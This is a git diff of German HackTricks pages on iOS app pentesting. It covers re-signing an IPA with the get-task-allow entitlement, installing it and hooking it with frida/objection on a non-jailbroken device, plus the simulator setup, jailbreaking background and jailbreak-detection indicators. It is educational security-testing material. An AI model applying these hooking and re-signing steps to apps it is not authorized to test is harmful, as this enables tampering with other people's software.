+Um die Anwendung mit der Berechtigung `get-task-allow` neu zu unterzeichnen, stehen mehrere Tools wie `app-signer`, `codesign` und `iResign` zur Verfügung. `app-signer` hat eine sehr benutzerfreundliche Oberfläche, die es ermöglicht, eine IPA-Datei sehr einfach neu zu unterzeichnen, indem die zu unterzeichnende IPA, die **`get-task-allow`**-Berechtigung sowie das zu verwendende Zertifikat und das Bereitstellungsprofil angegeben werden.
+
+Bezüglich des Zertifikats und der Signierungsprofile bietet Apple **kostenlose Entwickler-Signierungsprofile** für alle Konten über Xcode an. Erstellen Sie einfach eine App und konfigurieren Sie eine. Konfigurieren Sie dann das **iPhone, um den Entwickler-Apps zu vertrauen**, indem Sie zu `Einstellungen` → `Datenschutz & Sicherheit` navigieren und auf `Entwicklermodus` klicken.
+
+
+Mit der neu unterzeichneten IPA ist es Zeit, sie auf dem Gerät zu installieren, um sie zu pentesten:
+```bash
+ideviceinstaller -i resigned.ipa -w
+```
+### Hook
+
+Sie können Ihre App ganz einfach mit gängigen Tools wie frida und objection hooken:
+```bash
+objection -g [your app bundle ID] explore
+
+```
+## Referenzen
+
+- [https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed](https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed)
+
+
+{{#include ../../banners/hacktricks-training.md}}
--- a/src/mobile-pentesting/ios-pentesting/ios-testing-environment.md
+++ b/src/mobile-pentesting/ios-pentesting/ios-testing-environment.md
@ -4,9 +4,9 @@

 ## Apple Developer Program

-Eine **Provisionierungsidentität** ist eine Sammlung von öffentlichen und privaten Schlüsseln, die mit einem Apple-Entwicklerkonto verbunden sind. Um **Apps zu signieren**, müssen Sie **99$/Jahr** bezahlen, um sich im **Apple Developer Program** zu registrieren und Ihre Provisionierungsidentität zu erhalten. Ohne dies können Sie Anwendungen aus dem Quellcode auf einem physischen Gerät nicht ausführen. Eine andere Möglichkeit, dies zu tun, besteht darin, ein **jailbroken Gerät** zu verwenden.
+Eine **Provisionierungsidentität** ist eine Sammlung von öffentlichen und privaten Schlüsseln, die mit einem Apple-Entwicklerkonto verknüpft sind. Um **Apps zu signieren**, müssen Sie **99$/Jahr** bezahlen, um sich im **Apple Developer Program** zu registrieren und Ihre Provisionierungsidentität zu erhalten. Ohne dies können Sie Anwendungen aus dem Quellcode auf einem physischen Gerät nicht ausführen. Eine andere Möglichkeit, dies zu tun, besteht darin, ein **jailbroken Gerät** zu verwenden.

-Seit Xcode 7.2 hat Apple die Möglichkeit bereitgestellt, ein **kostenloses iOS-Entwicklungs-Provisionierungsprofil** zu erstellen, das es ermöglicht, Ihre Anwendung auf einem echten iPhone zu schreiben und zu testen. Gehen Sie zu _Xcode_ --> _Preferences_ --> _Accounts_ --> _+_ (Neues Apple ID mit Ihren Anmeldeinformationen hinzufügen) --> _Klicken Sie auf die erstellte Apple ID_ --> _Manage Certificates_ --> _+_ (Apple Development) --> _Fertig_\
+Seit Xcode 7.2 hat Apple eine Option bereitgestellt, um ein **kostenloses iOS-Entwicklungs-Provisionierungsprofil** zu erstellen, das es ermöglicht, Ihre Anwendung auf einem echten iPhone zu schreiben und zu testen. Gehen Sie zu _Xcode_ --> _Preferences_ --> _Accounts_ --> _+_ (Neues Apple ID mit Ihren Anmeldeinformationen hinzufügen) --> _Klicken Sie auf die erstellte Apple ID_ --> _Manage Certificates_ --> _+_ (Apple Development) --> _Fertig_\
 \_\_Um Ihre Anwendung auf Ihrem iPhone auszuführen, müssen Sie zuerst **das iPhone anweisen, dem Computer zu vertrauen.** Dann können Sie versuchen, **die Anwendung auf dem Mobilgerät aus Xcode auszuführen**, aber es wird ein Fehler angezeigt. Gehen Sie also zu _Settings_ --> _General_ --> _Profiles and Device Management_ --> Wählen Sie das nicht vertrauenswürdige Profil aus und klicken Sie auf "**Trust**".

 Beachten Sie, dass **Anwendungen, die mit demselben Signierungszertifikat signiert sind, Ressourcen auf sichere Weise teilen können, wie z.B. Schlüsselbundobjekte**.
@ -37,12 +37,12 @@ Um den Simulator zu öffnen, starten Sie Xcode, drücken Sie dann im _Xcode-Tab_

 ### Anwendungen im Simulator

-Im Verzeichnis `/Users/<username>/Library/Developer/CoreSimulator/Devices` finden Sie alle **installierten Simulatoren**. Wenn Sie auf die Dateien einer Anwendung zugreifen möchten, die in einem der Emulatoren erstellt wurde, kann es schwierig sein zu wissen, **in welchem die App installiert ist**. Ein schneller Weg, um **die richtige UID zu finden**, besteht darin, die App im Simulator auszuführen und Folgendes auszuführen:
+Im Verzeichnis `/Users/<username>/Library/Developer/CoreSimulator/Devices` finden Sie alle **installierten Simulatoren**. Wenn Sie auf die Dateien einer Anwendung zugreifen möchten, die in einem der Emulatoren erstellt wurde, kann es schwierig sein, **herauszufinden, in welchem die App installiert ist**. Ein schneller Weg, um **die richtige UID zu finden**, besteht darin, die App im Simulator auszuführen und Folgendes auszuführen:
 ```bash
 xcrun simctl list | grep Booted
 iPhone 8 (BF5DA4F8-6BBE-4EA0-BA16-7E3AFD16C06C) (Booted)
 ```
-Sobald Sie die UID kennen, können die installierten Apps darin unter `/Users/<username>/Library/Developer/CoreSimulator/Devices/{UID}/data/Containers/Data/Application` gefunden werden.
+Sobald Sie die UID kennen, können die installierten Apps unter `/Users/<username>/Library/Developer/CoreSimulator/Devices/{UID}/data/Containers/Data/Application` gefunden werden.

 Überraschenderweise finden Sie die Anwendung jedoch nicht hier. Sie müssen auf `/Users/<username>/Library/Developer/Xcode/DerivedData/{Application}/Build/Products/Debug-iphonesimulator/` zugreifen.

@ -50,11 +50,15 @@ In diesem Ordner können Sie **das Paket der Anwendung finden.**

 ## Emulator

-Corellium ist der einzige öffentlich verfügbare iOS-Emulator. Es handelt sich um eine Unternehmens-SaaS-Lösung mit einem Lizenzmodell pro Benutzer und bietet keine Testlizenz an.
+Corellium ist der einzige öffentlich verfügbare iOS-Emulator. Es handelt sich um eine Unternehmens-SaaS-Lösung mit einem Lizenzmodell pro Benutzer und es wird keine Testlizenz angeboten.

 ## Kein Jailbreak erforderlich

-Überprüfen Sie diesen Blogbeitrag, wie man eine iOS-Anwendung auf einem **nicht gejailbreakten Gerät** pentestet: [https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed](https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed)
+Überprüfen Sie diesen Blogbeitrag, wie man eine iOS-Anwendung auf einem **nicht gejailbreakten Gerät** pentestet:
+
+{{#ref}}
+ios-pentesting-without-jailbreak.md
+{{#endref}}

 ## Jailbreaking

@ -65,9 +69,9 @@ Apple verlangt strikt, dass der auf dem iPhone ausgeführte Code **von einem von

 ### Android Rooting vs. iOS Jailbreaking

-Obwohl oft verglichen, sind **Rooting** auf Android und **Jailbreaking** auf iOS grundlegend unterschiedliche Prozesse. Das Rooten von Android-Geräten kann **die Installation der `su`-Binary** oder **den Austausch des Systems durch ein gerootetes benutzerdefiniertes ROM** umfassen, was nicht unbedingt Exploits erfordert, wenn der Bootloader entsperrt ist. **Das Flashen von benutzerdefinierten ROMs** ersetzt das Betriebssystem des Geräts nach dem Entsperren des Bootloaders, was manchmal einen Exploit erfordert.
+Obwohl oft verglichen, sind **Rooting** auf Android und **Jailbreaking** auf iOS grundlegend unterschiedliche Prozesse. Das Rooten von Android-Geräten kann **die Installation der `su`-Binary** oder **den Austausch des Systems durch ein gerootetes benutzerdefiniertes ROM** umfassen, was nicht unbedingt Exploits erfordert, wenn der Bootloader entsperrt ist. **Das Flashen benutzerdefinierter ROMs** ersetzt das Betriebssystem des Geräts nach dem Entsperren des Bootloaders, was manchmal einen Exploit erfordert.

-Im Gegensatz dazu können iOS-Geräte aufgrund der Einschränkung des Bootloaders, nur von Apple signierte Images zu booten, keine benutzerdefinierten ROMs flashen. **Jailbreaking iOS** zielt darauf ab, die Code-Signierungsschutzmaßnahmen von Apple zu umgehen, um nicht signierten Code auszuführen, ein Prozess, der durch die kontinuierlichen Sicherheitsverbesserungen von Apple kompliziert wird.
+Im Gegensatz dazu können iOS-Geräte aufgrund der Einschränkung des Bootloaders, nur von Apple signierte Images zu booten, keine benutzerdefinierten ROMs flashen. **Jailbreaking iOS** zielt darauf ab, Apples Code-Signierungsschutz zu umgehen, um nicht signierten Code auszuführen, ein Prozess, der durch Apples kontinuierliche Sicherheitsverbesserungen kompliziert wird.

 ### Herausforderungen beim Jailbreaking

@ -94,7 +98,7 @@ Die Modifikation Ihres Geräts birgt Risiken, und Jailbreaking sollte mit Vorsic

 ### Vorteile und Risiken des Jailbreakings

-Jailbreaking **entfernt die vom Betriebssystem auferlegte Sandboxing**, sodass Apps auf das gesamte Dateisystem zugreifen können. Diese Freiheit ermöglicht die Installation von nicht genehmigten Apps und den Zugriff auf mehr APIs. Für reguläre Benutzer wird Jailbreaking jedoch **nicht empfohlen** aufgrund potenzieller Sicherheitsrisiken und Instabilität des Geräts.
+Jailbreaking **entfernt die vom Betriebssystem auferlegte Sandbox**, sodass Apps auf das gesamte Dateisystem zugreifen können. Diese Freiheit ermöglicht die Installation von nicht genehmigten Apps und den Zugriff auf mehr APIs. Für reguläre Benutzer wird Jailbreaking jedoch **nicht empfohlen** aufgrund potenzieller Sicherheitsrisiken und Instabilität des Geräts.

 ### **Nach dem Jailbreaking**

@ -106,11 +110,11 @@ basic-ios-testing-operations.md

 **Mehrere Anwendungen versuchen zu erkennen, ob das Mobilgerät gejailbreakt ist, und in diesem Fall wird die Anwendung nicht ausgeführt.**

- Nach dem Jailbreaking werden auf einem iOS **Dateien und Ordner normalerweise installiert**, die durchsucht werden können, um festzustellen, ob das Gerät gejailbreakt ist.
- Auf einem gejailbreakten Gerät erhalten Anwendungen **Lese-/Schreibzugriff auf neue Dateien** außerhalb des Sandboxes.
+- Nach dem Jailbreaking werden auf iOS **Dateien und Ordner normalerweise installiert**, die durchsucht werden können, um festzustellen, ob das Gerät gejailbreakt ist.
+- Auf einem gejailbreakten Gerät erhalten Anwendungen **Lese-/Schreibzugriff auf neue Dateien** außerhalb der Sandbox.
 - Einige **API** **Aufrufe** werden **anders reagieren**.
 - Das Vorhandensein des **OpenSSH**-Dienstes.
- Der Aufruf von `/bin/sh` wird **1** anstelle von 0 **zurückgeben**.
+- Der Aufruf von `/bin/sh` wird **1** anstelle von 0 zurückgeben.

 **Weitere Informationen zur Erkennung von Jailbreaking** [**hier**](https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/jailbreak-detection-methods/)**.**